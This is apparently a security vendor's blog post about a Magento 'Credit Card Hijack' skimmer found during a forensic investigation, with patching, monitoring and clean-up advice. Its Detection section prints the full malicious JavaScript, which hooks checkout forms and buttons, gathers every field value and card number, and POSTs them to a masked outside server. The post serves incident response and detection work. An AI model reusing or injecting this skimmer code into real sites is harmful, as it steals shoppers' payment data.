logo.png
Guided Website Threat Review

Foregenix Blog

Benjamin Hosack

Magento Malware: Credit Card Hijack – Malicious Javascript Alert

Our forensic team have just wrapped up a forensic investigation on an e-commerce business that has had a considerable number of customer data stolen – including credit card data. This latest Magento malware attack involved a malicious Javascript – recently announced by Magento on the 16th November 2015.

Magento malwareThe malicious code has been called “Credit Card Hijack” and it is injected into Magento websites allowing attackers to steal customer payment data – including all key credit card details required to carry out a transaction.

How does it work?

The malicious Magento malware is uploaded to a vulnerable site – the vulnerability in the case we just completed was Shoplift (see our alert on Magento Shoplift from February 2015); however, over the last year there have been a significant number of breaches involving multiple attack vectors (Filesman, P.A.S, Phantom, compromised plugins and more).

With the malicious Javascript uploaded to the Magento website, every form field on the website is monitored. When payment card data is detected, it is encrypted and sent out immediately to a receiving email address.

How do you prevent, detect and/or fix this issue?

Prevention
  • Patch your website – make sure you are using the latest version of Magento. This will make it considerably harder to compromise your website.
  • File Change Monitoring – make sure you know exactly what changes are being made to your website every day. If changes are not recognised, they could be a strong indicator of attacker activity.
  • Web Application Firewall – if you are not yet using a WAF on your website, we would highly recommend you implement one asap. Especially if you not able to apply patches in a timely manner. If correctly configured, it will also filter out the vast majority of aggressive traffic from ever touching your website. If you need help with this, we offer a managed WAF through our FGX-Web Protect service.
  • Malware detection – daily checks for malware on your website will alert you to files that look suspicious – such as webshells, backdoors, harvesting malware and so on. If you need help, our FGX-Web website security solution includes on demand and scheduled malware checking for all clients.
Detection

FGX-Web will very soon be able to detect the malicious javascript, however, this is an example of the code recently found: 

+function validateCreditCard(s) {

+   // remove non-numerics

+   var v = "0123456789";

+   var w = "";

+   for (i=0; i < s.length; i++) {

+       x = s.charAt(i);

+       if (v.indexOf(x,0) != -1)

+       w += x;

+   }

+   // validate number

+   j = w.length / 2;

+   k = Math.floor(j);

+   m = Math.ceil(j) - k;

+   c = 0;

+   for (i=0; i<k; i++) {

+       a = w.charAt(i*2+m) * 2;

+       c += a > 9 ? Math.floor(a/10 + a%10) : a;

+   }

+   for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;

+   return (c%10 == 0);

+}

+var snd =null;

+window.onload = function () {

+   if((new RegExp('onepage')).test(window.location)) {

+       send();

+

+   }

+};

+

+function clk() {

+   var inp=document.querySelectorAll("input, select, textarea, checkbox");

+   for (var i=0;i<inp.length;i++){

+       if(inp[i].value.length>0) {

+       var nme=inp[i].name;

+       if(nme=='') { nme=i; }

+       snd+=inp[i].name+'='+inp[i].value+'&';

+       }

+   }

+

+}

+

+function send() {

+ var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");

+   for (var i=0;i<btn.length;i++){

+       var b=btn[i];

+       if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {

+           if(b.addEventListener) {

+               b.addEventListener("click", clk, false);

+           }else {

+               b.attachEvent('onclick', clk);

+           }

+       }

+   }

+f+   var frm=document.querySelectorAll("form");

+   for (var i=0;i<frm.length;i++){

+       if(frm[i].addEventListener) {

+           frm[i].addEventListener("submit", clk, false);

+       }else {

+           frm[i].attachEvent('onsubmit', clk);

+       }

+   }

+

+   if(snd!=null) {

+       console.clear();

+       var cc = new RegExp("[0-9]{13,16}");

+              var asd="0";

+       if(cc.test(snd)){

+                 asd="1" ;

+         }

+var http = new XMLHttpRequest();

+http.open("POST","https://************/*******”,true);

+http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

+http.send("data="+snd+"&asd="+asd+"&id_id=merchant.co.uk");

+console.clear();

+   }

+   snd=null;

+   setTimeout('send()', 150);

+}

Fix
  • Implement a solution like FGX-Web to protect your website.
  • Scan your website using WebScan – this will tell you the patching state of your website.
  • Apply all the patches.Magento website security scan
  • Update passwords – implement 2 Factor Authentication if possible.
  • Remove any unknown accounts.
  • Scan for malware using FGX-Web – if you get alerts, call our support team for help.

Review our blog - 11 steps to Improve your Website Security for more comprehensive list of security controls and simple steps you can take to improve your security.

All Foregenix FGX-Web clients have full support provided by our team, so if you are concerned about your website security, please don’t hesitate to contact us. 

TRENDING POSTS

Kirsty Trainer
The "Key" to Secure Data - P2PE - Derived Unique Key Per Transaction (DUKPT)

Written by Andrew McKenna, PCI QSA, PCIP at Foregenix The encryption key infrastructure usually ...

Read More
Duncan Slater
Alert: Major UK Payment Service Provider iFrame Man-In-The-Middle Breach

The Foregenix Digital Forensics and Incident Response Team recently reported a man-in-the-middle ...

Read More

Cyber Security Insights

Ewan Gardner
07/08/17 14:51

Anatomy Of A Magento Attack: Froghopper

  Magento is the most popular eCommerce web application in the world, with an estimated 236,000 live web sites using the Content Management System ...

Read More

Richard Jones
03/08/17 10:54

Premier League Club Shows Commitment To GDPR

We're happy to annound that Premier League football club West Ham United has partnered Foregenix to prepare for the upcoming GDPR’s new data privacy ...

Read More

Mike Hinton
02/08/17 11:09

Foregenix Partner with Magento Solutions Partner, PushON

  We’re extremely happy to announce our newly formed partnership with Manchester based agency PushON. Over the past few months both parties have ...

Read More

Zacharias Pigadas
27/07/17 10:09

How Your Cyber Security Efforts Can Turn Into Security Nightmares

A short (and fairly common) story of how quick and dirty initiatives to deal with security weaknesses can actually land you an ordeal of problems and ...

Read More

Duncan Slater
21/07/17 10:15

Foregenix Review of the Office for National Statistics Crime Survey

Today [July 20th 2017] the Office for National Statistics in the UK released their annual Crime Survey for England and Wales (CSEW), for the twelve ...

Read More